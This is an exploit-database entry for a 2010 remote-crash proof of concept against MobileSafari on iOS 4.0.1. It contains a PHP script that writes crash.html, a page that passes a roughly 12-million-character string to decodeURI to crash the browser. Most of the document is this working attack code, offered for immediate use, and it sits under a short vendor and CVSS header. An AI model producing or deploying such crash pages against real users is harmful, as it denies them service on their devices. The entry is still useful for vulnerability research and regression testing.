Apple iPhone Safari (decodeURI) Remote Crash

vendor:

iPhone

by:

Pr0T3cT10n

7,5

CVSS

HIGH

Remote Crash

CWE

Product Name: iPhone

Affected Version From: IOS 4.0.1

Affected Version To: IOS 4.0.1

Patch Exists: NO

Related CWE: N/A

CPE: apple:iphone_os

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apple iPhone 3GS, IOS 4.0.1, MobileSafari

2010

Apple iPhone Safari (decodeURI) Remote Crash

The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'. Point your browser to the created file (crash.html) and see what happen. The vulnerable function is decodeURI('A X 12000085'). Launch Safari, point your browser to the page and safari will crash.

Mitigation:

Ensure that the decodeURI() function is not used with untrusted input.

Source

Exploit-DB raw data:

<?php
#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * decodeURI("A X 12000085");
# -----------------------------------
# Exploit Title: Apple iPhone Safari (decodeURI) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code 	= "<html>
	<head>
		<title>Apple iPhone 3 Safari (JavaScript - decodeURI) Remote Crash</title>
	</head>
	<script type='text/javascript'>
		decodeURI('{$string}');
	</script>
</html>";
if(file_put_contents("./crash.html", $code)) {
	echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
	echo("Cannot create file.\r\n");
}
?>